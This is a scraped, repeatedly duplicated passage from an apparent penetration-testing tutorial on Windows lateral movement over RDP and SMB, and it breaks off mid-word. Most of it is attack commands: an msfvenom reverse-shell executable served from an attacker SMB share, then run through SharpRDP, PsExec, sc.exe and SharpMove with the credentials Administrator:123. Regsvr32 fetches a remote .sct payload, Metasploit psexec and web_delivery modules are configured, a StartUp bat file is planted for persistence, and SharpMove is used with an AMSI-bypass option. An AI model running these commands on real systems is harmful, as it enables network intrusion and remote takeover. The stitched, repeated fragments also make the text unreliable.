Hacking Articles Tips Tricks Videos Tutorials
go to users-> you’d see this if a user “hex” is signed out currently but exists. https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8UwTnXTVBDoJIjvbmNR2wVOpyBjxZoHi2H3efnroI-nXxB7kUsFN-yaVec8VGkog8a6Ps86vnXrKhb9O8cVeYz0qhExKwBAwnnoTUkSgL…
kQAbexMM7HMk1mkj7RPLlLacgzt8w/s16000/8.png?w=640&ssl=1
And then you’d be presented with user “hex’s” remote desktop!
SharpRDP Authenticated Command Execution
0xthirteen developed the SharpRDP tool which provides various methods and techniques for authenticated command execution using RDP as a service. This method won’t include hijacking over remote sessions, rather, using logon information to provide code execution. It does so this by utilising COM library and mstscax.dll. Read more here.
First, we will create a payload
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggHg_X5dOHz3Hkk3bYo_sMTyXVHhRVHlnJnmpqcdtBqODAAaVXsQHTsKH-tQ7p5h4lLx5Vxe92QE7u_9PMHqTWm3VXIDT_dZygPUeFOeGtsyk0H3BLXNOBL1be-5kR2_6TXOrNWLvcFnl-EuMRaBuBop-NzRQ4k5iFhRUxU-stybBI69zMkJ5I6JjG9Q/s16000/9.png?w=640&ssl=1
Next, we will host this file in our SMB share. We can set up a share manually or use Impacket’s smbserver to set up a temporary share with the name “sharename”
smbserver.py sharename /root
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9bh_H1wrY8lbGBSQlWoJhmGqfSiWinQDehTPaidsqrJOkuyKFUR1qtU75SX46Cr1Y-2q8f11oDqc7FZoaD7F3gf61uT05M7542XN38NwV7aF4rNWfd7O10Kxvu73Un7a1rx70ljvnUxkrwVQBSoaNnk9dLVEMYcNFuwx2ELwjbf_3eGcihqPgx_yIQ/s16000/10.png?w=640&ssl=1
Now, using the credentials available to us of a remote user Administrator, we can use SharpRDP to execute this EXE file by providing in the UNC Path below
SharpRDP.exe computername=DESKTOP-9GSGK09 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe username=Administrator password=123
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf49V7jMLReod22fWKQ8vsDNG2Lj4TQFCqYAAFFN-JFwN3Avd3E-MRePegVtOFx84Vn4Qi5tZWAJ38d4-gQM2p9-RSFd2CdQXjaXTcEUM6y3XAUcuN66yw_AGgwllvl5PQ4svnbNO2RRhxWymZB5otyMGf52_vTJQ-LVl_QG0HQ7wmtAp5Q90CyNoRbQ/s16000/11.png?w=640&ssl=1
As you can see, the remote server hit our SMB Server and fetched the file
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6El22qXnm1_ebS4-KW9ICUw3lnFLPcoBS7Ux4Gv9sDbjExsJQJdsXlkJQ4ntoXhkIva5GWBpg_18eaD1SspmzdvlwKSfDWXSS10QIonlnKsBgL28gSafH2NfvvLDGYoAObxzccxiBqHHqtqTa0H2rsz-PiLxZiOvLnVeedBGlY2LO3WbBU3qw1v95xg/s16000/12.png?w=640&ssl=1
We have moved laterally successfully this way!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSm7nTtCiBs1aRITp1ZuxiSBAu2N_vEATZMub83ZvVcqGQbLncJX01h5nzVv-NCr5XngIkvYjBARkfm6LRJKoJwY2xnXS1NezJaAWKr6OXbu33zSU4WZv2CHCbuyttzZb38Xjs9IHGx2fWPZfznnjIpBPLPQSkpshoKf8hEmBgRkNdmOaWlbXzxqw1nQ/s16000/13.png?w=640&ssl=1 Lateral Movement through SMB (T1021.002)SMB is one of the most widely used network protocol that allows users to communicate with remote systems across a network. Generally, it is used for sharing files, printers but by utilising writeable shares, it can be used to conduct command execution, and eventually lateral movement.
PsExec SMB RCE
Many tools like psexec utilise SMB to conduct authenticated command execution. According to Microsoft, “PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec’s most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems.” First, let’s use impacket’s smbserver to create a local SMB share that will host our malicious file. This file will eventually be written on remote systems and executed to gain movement.
smbserver.py sharename /root
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTTSqg15bXzN38wDkE-5LIjGbkGTX7uLFI1YkUY_qrKr6FT1-x6NBd3vte1rCXPf97uPje18Z6dnmV93L5iqxIWeE7PATbuuxxQ66aoDV2JJNvErk13QtV26_C_Dxm98mfJxKnb5pBK1KCXFgreu4UG3CM5vXWKmJtCfgLx1XS5S36lZZk-458Rw2Ufw/s16000/15.png?w=64[...]
And then you’d be presented with user “hex’s” remote desktop!
SharpRDP Authenticated Command Execution
0xthirteen developed the SharpRDP tool which provides various methods and techniques for authenticated command execution using RDP as a service. This method won’t include hijacking over remote sessions, rather, using logon information to provide code execution. It does so this by utilising COM library and mstscax.dll. Read more here.
First, we will create a payload
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggHg_X5dOHz3Hkk3bYo_sMTyXVHhRVHlnJnmpqcdtBqODAAaVXsQHTsKH-tQ7p5h4lLx5Vxe92QE7u_9PMHqTWm3VXIDT_dZygPUeFOeGtsyk0H3BLXNOBL1be-5kR2_6TXOrNWLvcFnl-EuMRaBuBop-NzRQ4k5iFhRUxU-stybBI69zMkJ5I6JjG9Q/s16000/9.png?w=640&ssl=1
Next, we will host this file in our SMB share. We can set up a share manually or use Impacket’s smbserver to set up a temporary share with the name “sharename”
smbserver.py sharename /root
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9bh_H1wrY8lbGBSQlWoJhmGqfSiWinQDehTPaidsqrJOkuyKFUR1qtU75SX46Cr1Y-2q8f11oDqc7FZoaD7F3gf61uT05M7542XN38NwV7aF4rNWfd7O10Kxvu73Un7a1rx70ljvnUxkrwVQBSoaNnk9dLVEMYcNFuwx2ELwjbf_3eGcihqPgx_yIQ/s16000/10.png?w=640&ssl=1
Now, using the credentials available to us of a remote user Administrator, we can use SharpRDP to execute this EXE file by providing in the UNC Path below
SharpRDP.exe computername=DESKTOP-9GSGK09 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe username=Administrator password=123
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf49V7jMLReod22fWKQ8vsDNG2Lj4TQFCqYAAFFN-JFwN3Avd3E-MRePegVtOFx84Vn4Qi5tZWAJ38d4-gQM2p9-RSFd2CdQXjaXTcEUM6y3XAUcuN66yw_AGgwllvl5PQ4svnbNO2RRhxWymZB5otyMGf52_vTJQ-LVl_QG0HQ7wmtAp5Q90CyNoRbQ/s16000/11.png?w=640&ssl=1
As you can see, the remote server hit our SMB Server and fetched the file
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6El22qXnm1_ebS4-KW9ICUw3lnFLPcoBS7Ux4Gv9sDbjExsJQJdsXlkJQ4ntoXhkIva5GWBpg_18eaD1SspmzdvlwKSfDWXSS10QIonlnKsBgL28gSafH2NfvvLDGYoAObxzccxiBqHHqtqTa0H2rsz-PiLxZiOvLnVeedBGlY2LO3WbBU3qw1v95xg/s16000/12.png?w=640&ssl=1
We have moved laterally successfully this way!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSm7nTtCiBs1aRITp1ZuxiSBAu2N_vEATZMub83ZvVcqGQbLncJX01h5nzVv-NCr5XngIkvYjBARkfm6LRJKoJwY2xnXS1NezJaAWKr6OXbu33zSU4WZv2CHCbuyttzZb38Xjs9IHGx2fWPZfznnjIpBPLPQSkpshoKf8hEmBgRkNdmOaWlbXzxqw1nQ/s16000/13.png?w=640&ssl=1 Lateral Movement through SMB (T1021.002)SMB is one of the most widely used network protocol that allows users to communicate with remote systems across a network. Generally, it is used for sharing files, printers but by utilising writeable shares, it can be used to conduct command execution, and eventually lateral movement.
PsExec SMB RCE
Many tools like psexec utilise SMB to conduct authenticated command execution. According to Microsoft, “PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec’s most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems.” First, let’s use impacket’s smbserver to create a local SMB share that will host our malicious file. This file will eventually be written on remote systems and executed to gain movement.
smbserver.py sharename /root
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTTSqg15bXzN38wDkE-5LIjGbkGTX7uLFI1YkUY_qrKr6FT1-x6NBd3vte1rCXPf97uPje18Z6dnmV93L5iqxIWeE7PATbuuxxQ66aoDV2JJNvErk13QtV26_C_Dxm98mfJxKnb5pBK1KCXFgreu4UG3CM5vXWKmJtCfgLx1XS5S36lZZk-458Rw2Ufw/s16000/15.png?w=64[...]
Hacking Articles Tips Tricks Videos Tutorials
kQAbexMM7HMk1mkj7RPLlLacgzt8w/s16000/8.png?w=640&ssl=1 And then you’d be presented with user “hex’s” remote desktop! SharpRDP Authenticated Command Execution 0xthirteen developed the SharpRDP tool which provides various methods and techniques for authenticated…
0&ssl=1
Thereafter, we will now create a malicious file using msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1337 -f exe > shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoEybnTFs0zgFlm6dIHN-MiHo2NSj7RZBwIUNYPM4didelZ8JZ1avkfmBhnxSwbvoGfcsNz23oY4TWGBam5sfKQI3grbwz1KGXYHBco00T6MtmBJmFWTGT-bdZJeCah_GsT9CqXq2NMUo7XNhFfYUl5Bda02eWgdj5kye8wZ4HvLZsOrNmU9YKQR_oHQ/s16000/16.png?w=640&ssl=1
Now, we will use the compromised system and upload psexec64.exe in it. Then, we will use the following command to launch our malicious file in the host specified.
psexec64.exe \\DESKTOP-9GSGK09 -u hex -p 123 cmd.exe /c \\192.168.0.89\sharename\shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgakf4I9DoJkuGi_WnH76nxMfDzb9B7js8XXBgukLBIAGCjW9XtP6YfJ9zaUo3UFVghONQtUTiutfMIJOxcxJdDZjq6deQzxAQTppqqMa59uEADJVfBI6IhYDzajEYNosz--yW3EM6EnEk9OG8HrNsf9s41V1H2tSLmwWVx8FziQEpX97FutHad09_lyA/s16000/17.png?w=640&ssl=1
As you can see, hex has reached our smb share and fetched the file
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqNlGiyck0fBKUEuZE4_eltP9fj1vjtw91zF0MegOqH3yGQuPBLbvIUi0hm5OiW8ohGVjL9wUy5OYYu3L-jTUy0_gzcMkdQJx3URDpMXfaJQzZ8ZcaIPvwI6FIAvpMrKsgMtyfy9kisyOcv2jpAF94eS6C5v1Bc4wTsIdbNcMlKkh5kpV5FqsB4mbPDg/s16000/18.png?w=640&ssl=1
And hence, we have successfully received a reverse shell back!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoynJY6etbah8L3YpMzU9KMi3k-BtYe6FaoRbHTRI6kpIv701UXPA6sVuEy5Qkxqgs6LJ0dKGP29SBYARYvWtjNgjpOmQnAUBYJLInJYrCcp3zEp_fvT_bi89r1eZ28mKLxMn7AV9VIA6NycBMuaNftHzJPu-KaT2aa9u2yiD0EtPUv2QRZ9BpIuUxgw/s16000/19.png?w=640&ssl=1
Sc.exe process creation
sc.exe is a command-line tool that comes bundled with Windows and offers the functionality to maintain and administer Windows NT services. This is a non-essential system process, however, it can be used to create processes and execute DLLs in them. Here, we will create a process “ignite” and use regsvr method to define the executing DLL within that process.
First, let’s set up our handler and generate regsvr code using Metasploit.
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwx0Fj0Scnu-7dVKa_korORxjkyG2IEyE_TpwU-j3YHyHLCmUJl0LTlTJ74E1sJLeH2GUhoddNdR0dXQ8-nG7BgPcBSWCPAvgApPqGH_auMqe1OG6DLwI1s173PD7fOfBroLML1LBgA85eUWle8TuPaKSwVc0D6uMoXYYdKdz38_e9BvjWmNFXFwUw_w/s16000/20.png?w=640&ssl=1
Now, the regsvr code that we obtained can be included within the sc.exe binpath command. The following command creates a process ignite with the above code in it. It then starts the same. Please note that “DESKTOP-9GSGKO9” is the destination windows system, where the code is to be executed.
sc \\DESKTOP-9GSGKO9 create ignite binpath= "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/nGU8JQ0b9OjF.sct scrobj.dll"
sc \\DESKTOP-9GSGKO9 start ignite
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZW8puxBbpVODwXt0z4gIJZoiGZdnJxd_3WV4ucEnvGdrRY40en5yfGXCJ2CMIKpjfKkjxbCHJMw8ouN_MtKOxexpYBVZTY5L376clTIv4ykn397y2UqqyVii2m0XVEGYPenhUDoLC1-IZbAnXezRTmNrmd8YojNgV2-EYv8_3Y4rkvV1jH9hrXZsDIw/s16000/21.png?w=640&ssl=1
As you can see, a service start failed error has been obtained but that is because the DLL we provided isn’t a valid one. It would still execute our DLL and give us a reverse shell! Here, we had the Admin authority over the writeable shares in the remote system so we received an NT AUTHORITY\SYSTEM privilege but depending on the rights you have, this may vary.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIS6MiDjaExhEcD40sRz0d8dQqUWQ5DG2TahGNWebHxRAfA8_IBU0I3K5qnLxV84pi21sjH7ZOLoE7yD9WMXv4mO2uOf0Si1FdFxDDwbnR0OSEZhHTz6Om8Led6c7VnqQKE9hVOewTFIOiEGy2Oy3R2zLb5eLdWeKcZTptItOj8Tmny-K6d6qsxAsJAw/s16000/22.png?w=640&ssl=1
Metasploit SMB Remote [...]
Thereafter, we will now create a malicious file using msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1337 -f exe > shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoEybnTFs0zgFlm6dIHN-MiHo2NSj7RZBwIUNYPM4didelZ8JZ1avkfmBhnxSwbvoGfcsNz23oY4TWGBam5sfKQI3grbwz1KGXYHBco00T6MtmBJmFWTGT-bdZJeCah_GsT9CqXq2NMUo7XNhFfYUl5Bda02eWgdj5kye8wZ4HvLZsOrNmU9YKQR_oHQ/s16000/16.png?w=640&ssl=1
Now, we will use the compromised system and upload psexec64.exe in it. Then, we will use the following command to launch our malicious file in the host specified.
psexec64.exe \\DESKTOP-9GSGK09 -u hex -p 123 cmd.exe /c \\192.168.0.89\sharename\shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgakf4I9DoJkuGi_WnH76nxMfDzb9B7js8XXBgukLBIAGCjW9XtP6YfJ9zaUo3UFVghONQtUTiutfMIJOxcxJdDZjq6deQzxAQTppqqMa59uEADJVfBI6IhYDzajEYNosz--yW3EM6EnEk9OG8HrNsf9s41V1H2tSLmwWVx8FziQEpX97FutHad09_lyA/s16000/17.png?w=640&ssl=1
As you can see, hex has reached our smb share and fetched the file
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqNlGiyck0fBKUEuZE4_eltP9fj1vjtw91zF0MegOqH3yGQuPBLbvIUi0hm5OiW8ohGVjL9wUy5OYYu3L-jTUy0_gzcMkdQJx3URDpMXfaJQzZ8ZcaIPvwI6FIAvpMrKsgMtyfy9kisyOcv2jpAF94eS6C5v1Bc4wTsIdbNcMlKkh5kpV5FqsB4mbPDg/s16000/18.png?w=640&ssl=1
And hence, we have successfully received a reverse shell back!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoynJY6etbah8L3YpMzU9KMi3k-BtYe6FaoRbHTRI6kpIv701UXPA6sVuEy5Qkxqgs6LJ0dKGP29SBYARYvWtjNgjpOmQnAUBYJLInJYrCcp3zEp_fvT_bi89r1eZ28mKLxMn7AV9VIA6NycBMuaNftHzJPu-KaT2aa9u2yiD0EtPUv2QRZ9BpIuUxgw/s16000/19.png?w=640&ssl=1
Sc.exe process creation
sc.exe is a command-line tool that comes bundled with Windows and offers the functionality to maintain and administer Windows NT services. This is a non-essential system process, however, it can be used to create processes and execute DLLs in them. Here, we will create a process “ignite” and use regsvr method to define the executing DLL within that process.
First, let’s set up our handler and generate regsvr code using Metasploit.
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwx0Fj0Scnu-7dVKa_korORxjkyG2IEyE_TpwU-j3YHyHLCmUJl0LTlTJ74E1sJLeH2GUhoddNdR0dXQ8-nG7BgPcBSWCPAvgApPqGH_auMqe1OG6DLwI1s173PD7fOfBroLML1LBgA85eUWle8TuPaKSwVc0D6uMoXYYdKdz38_e9BvjWmNFXFwUw_w/s16000/20.png?w=640&ssl=1
Now, the regsvr code that we obtained can be included within the sc.exe binpath command. The following command creates a process ignite with the above code in it. It then starts the same. Please note that “DESKTOP-9GSGKO9” is the destination windows system, where the code is to be executed.
sc \\DESKTOP-9GSGKO9 create ignite binpath= "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/nGU8JQ0b9OjF.sct scrobj.dll"
sc \\DESKTOP-9GSGKO9 start ignite
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZW8puxBbpVODwXt0z4gIJZoiGZdnJxd_3WV4ucEnvGdrRY40en5yfGXCJ2CMIKpjfKkjxbCHJMw8ouN_MtKOxexpYBVZTY5L376clTIv4ykn397y2UqqyVii2m0XVEGYPenhUDoLC1-IZbAnXezRTmNrmd8YojNgV2-EYv8_3Y4rkvV1jH9hrXZsDIw/s16000/21.png?w=640&ssl=1
As you can see, a service start failed error has been obtained but that is because the DLL we provided isn’t a valid one. It would still execute our DLL and give us a reverse shell! Here, we had the Admin authority over the writeable shares in the remote system so we received an NT AUTHORITY\SYSTEM privilege but depending on the rights you have, this may vary.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIS6MiDjaExhEcD40sRz0d8dQqUWQ5DG2TahGNWebHxRAfA8_IBU0I3K5qnLxV84pi21sjH7ZOLoE7yD9WMXv4mO2uOf0Si1FdFxDDwbnR0OSEZhHTz6Om8Led6c7VnqQKE9hVOewTFIOiEGy2Oy3R2zLb5eLdWeKcZTptItOj8Tmny-K6d6qsxAsJAw/s16000/22.png?w=640&ssl=1
Metasploit SMB Remote [...]
Hacking Articles Tips Tricks Videos Tutorials
0&ssl=1 Thereafter, we will now create a malicious file using msfvenom msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1337 -f exe > shell.exe https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoEybnTFs0zgFlm6dIHN-…
PsExec
A Metasploit psexec module exists which can compromise a remote system if SMB is reachable on the target and the credentials provided are valid. Here, lets say we obtained SMB credentials Administrator:123, we can use these credentials across the network and compromise other systems with the same set of credentials. Here, you can see, we set the payload to be a meterpreter one and upon successful execution, we have received a web shell!
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.0.119
set SMBUSER Administrator
set SMBPASS 123
set LHOST 192.168.0.89
set LPORT 4444
exploit
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgW-al9jtzhlYyny5z_am6yf8q7NaItKgIdCi6JY8N1TqT_eIgXSnH0JS5rYXcB5kh-Vx4_ELMjBNhnXhUoHflv6K-HUML1A9W3WR_qRAzH9m9nZH3lS8bJG02dKuZgNV_BM5Tqai8Ivap2FkGUky6RCl1qcJ7UmuWh2mF3ALAL1jxbPgdUN8AItWQsg/s16000/23.png?w=640&ssl=1
Cmd.exe SMB RCE
Cmd.exe in Windows is also capable of executing commands on a remote system if the user has write access on critical shares like C$, ADMIN$ etc, cmd.exe can copy a file to locations like C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp and gain persistence in conjunction with lateral movement.
However, in this example, we will just run a simple regsvr command and write its output to a file called ignite in ADMIN$ share demonstrating the write capability of the command.
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7KKQ2AwR6bn3Ka5EDCN78bvPtmu79BL_RX0dbdmLbiwJKyO-aLlAE7ULwqUXeDA1hpVHbSWl423gq4OKOG31a6D_uG-DreCX-pHCQz7LaDjCALIIkYA0W6y3F0rllqB9b-hm_wv0doRHz1F3cXCcZBYy3vYDS7NQhACVD4MpmH8v4u7t9ijylu9E5mg/s16000/24.png?w=640&ssl=1
Now we run this using cmd.exe
cmd.exe /Q /c "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/jqVdIASVxjl4T.sct scrobj.dll" 1> \\127.0.0.1\ADMIN$\ignite 2>&1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5O2F4vuRHjOSR0ZkvCLsSXgNMfuhS_B2TiNFu6d3pQP3GAGBEQNq7okoaufJtlR0tzJNB2GMv5HziScc9KDI8QfjoVj_aNz8lpQejE66U38GfZRCaZu66a_dLzQyx9I-_qpC4uBIWaAuj0bvCCe9eb-iD2JxyJrL3YEK0rmlHL3aMSH_LUM7f6Z4IJw/s16000/25.png?w=640&ssl=1
This gives us a reverse shell!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7cFC3rNDJ6o0VBGb05xJ0QARo9DblCZoLYctgLGxcCdpr-Y_bCsR0lh2BfdExU5AmZh1ixmF-EChoCKDBo8JKpmAf1thZKbStuqapaivm2lmGpQ2cp5yQAwd6fCa9HKLV8E-fwoBoFMCep-BvEDJpMfMY7FDiS8hYo2h0-hZfauMxbKKuLhniukiKkw/s16000/26.png?w=640&ssl=1
As you can see, the output file has been created in the remote share we specified. Though there was no output so the file is empty, but it got created.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOyX9QEy0-KvU0hXBdbHPHHdV698Uh_rTzZ_7mwUWYIcFFgHCLEAIEMfumwOvIVUqXEfRmCLIhSKC2pEguO_9AP_j64Jz-mC3oXQycui6hhc6UEYj2y50xW4snS4ua_ZV8OyuOXD_Ca0o5jCC6liPx2dR4dhdatUT5XJU353-LYgsEhEyb9wqxYnrjcA/s16000/27.png?w=640&ssl=1
Another example of this could be to write a bat file in a remote share of victim 192.168.0.120 which would save our payload execution command in StartUp and this will be executed next time system restarts.
cmd.exe /Q /c "echo ‘cmd.exe /c \\192.168.0.89\sharename\shell.exe’" 1> \\192.168.0.120\C$\ ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ignite.bat 2>&1
SharpMove.exe SMB RCE
0xthirteen has developed a C# script called SharpMove which utilizes many different remote services to conduct code execution. It can use an SMB share on a remote system to execute code. It can also try and disable AMSI as an added bonus. In this example, we will modify an existing service by entering our own code in it. We just created a service called “ignite” while demonstrating sc.exe, let’s modify that service. Execution on system with hostname “DESKTOP-9GSGK09” can be achieved like so:
SharpMove.exe action=modsvc compute[...]
A Metasploit psexec module exists which can compromise a remote system if SMB is reachable on the target and the credentials provided are valid. Here, lets say we obtained SMB credentials Administrator:123, we can use these credentials across the network and compromise other systems with the same set of credentials. Here, you can see, we set the payload to be a meterpreter one and upon successful execution, we have received a web shell!
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.0.119
set SMBUSER Administrator
set SMBPASS 123
set LHOST 192.168.0.89
set LPORT 4444
exploit
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgW-al9jtzhlYyny5z_am6yf8q7NaItKgIdCi6JY8N1TqT_eIgXSnH0JS5rYXcB5kh-Vx4_ELMjBNhnXhUoHflv6K-HUML1A9W3WR_qRAzH9m9nZH3lS8bJG02dKuZgNV_BM5Tqai8Ivap2FkGUky6RCl1qcJ7UmuWh2mF3ALAL1jxbPgdUN8AItWQsg/s16000/23.png?w=640&ssl=1
Cmd.exe SMB RCE
Cmd.exe in Windows is also capable of executing commands on a remote system if the user has write access on critical shares like C$, ADMIN$ etc, cmd.exe can copy a file to locations like C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp and gain persistence in conjunction with lateral movement.
However, in this example, we will just run a simple regsvr command and write its output to a file called ignite in ADMIN$ share demonstrating the write capability of the command.
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7KKQ2AwR6bn3Ka5EDCN78bvPtmu79BL_RX0dbdmLbiwJKyO-aLlAE7ULwqUXeDA1hpVHbSWl423gq4OKOG31a6D_uG-DreCX-pHCQz7LaDjCALIIkYA0W6y3F0rllqB9b-hm_wv0doRHz1F3cXCcZBYy3vYDS7NQhACVD4MpmH8v4u7t9ijylu9E5mg/s16000/24.png?w=640&ssl=1
Now we run this using cmd.exe
cmd.exe /Q /c "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/jqVdIASVxjl4T.sct scrobj.dll" 1> \\127.0.0.1\ADMIN$\ignite 2>&1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5O2F4vuRHjOSR0ZkvCLsSXgNMfuhS_B2TiNFu6d3pQP3GAGBEQNq7okoaufJtlR0tzJNB2GMv5HziScc9KDI8QfjoVj_aNz8lpQejE66U38GfZRCaZu66a_dLzQyx9I-_qpC4uBIWaAuj0bvCCe9eb-iD2JxyJrL3YEK0rmlHL3aMSH_LUM7f6Z4IJw/s16000/25.png?w=640&ssl=1
This gives us a reverse shell!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7cFC3rNDJ6o0VBGb05xJ0QARo9DblCZoLYctgLGxcCdpr-Y_bCsR0lh2BfdExU5AmZh1ixmF-EChoCKDBo8JKpmAf1thZKbStuqapaivm2lmGpQ2cp5yQAwd6fCa9HKLV8E-fwoBoFMCep-BvEDJpMfMY7FDiS8hYo2h0-hZfauMxbKKuLhniukiKkw/s16000/26.png?w=640&ssl=1
As you can see, the output file has been created in the remote share we specified. Though there was no output so the file is empty, but it got created.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOyX9QEy0-KvU0hXBdbHPHHdV698Uh_rTzZ_7mwUWYIcFFgHCLEAIEMfumwOvIVUqXEfRmCLIhSKC2pEguO_9AP_j64Jz-mC3oXQycui6hhc6UEYj2y50xW4snS4ua_ZV8OyuOXD_Ca0o5jCC6liPx2dR4dhdatUT5XJU353-LYgsEhEyb9wqxYnrjcA/s16000/27.png?w=640&ssl=1
Another example of this could be to write a bat file in a remote share of victim 192.168.0.120 which would save our payload execution command in StartUp and this will be executed next time system restarts.
cmd.exe /Q /c "echo ‘cmd.exe /c \\192.168.0.89\sharename\shell.exe’" 1> \\192.168.0.120\C$\ ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ignite.bat 2>&1
SharpMove.exe SMB RCE
0xthirteen has developed a C# script called SharpMove which utilizes many different remote services to conduct code execution. It can use an SMB share on a remote system to execute code. It can also try and disable AMSI as an added bonus. In this example, we will modify an existing service by entering our own code in it. We just created a service called “ignite” while demonstrating sc.exe, let’s modify that service. Execution on system with hostname “DESKTOP-9GSGK09” can be achieved like so:
SharpMove.exe action=modsvc compute[...]
Hacking Articles Tips Tricks Videos Tutorials
PsExec A Metasploit psexec module exists which can compromise a remote system if SMB is reachable on the target and the credentials provided are valid. Here, lets say we obtained SMB credentials Administrator:123, we can use these credentials across the network…
rname=DESKTOP-9GSGKO9 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe" amsi=true servicename=ignite username=Administrator password=123
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOFahaY2LV5GEEuhkq-jIDryXxPO9Et5Bz3rqn9U-dosD6ioxt_62p0zH_qDAVH_4CyG3dMOharCm1EqhbQCM3Q9e9JLLnf3-roOxyih-yY9cv0996bAM2BIFTFM_dGtcof1KL0VCxI6ltJA1WLOTFj6QkaxiAyMbCTc0rEy_jFD69ilkvUbShH8G_9w/s16000/28.png?w=640&ssl=1
As you can see, SharpMove.exe has updated the service binpath and a reverse shell has been achieved successfully.
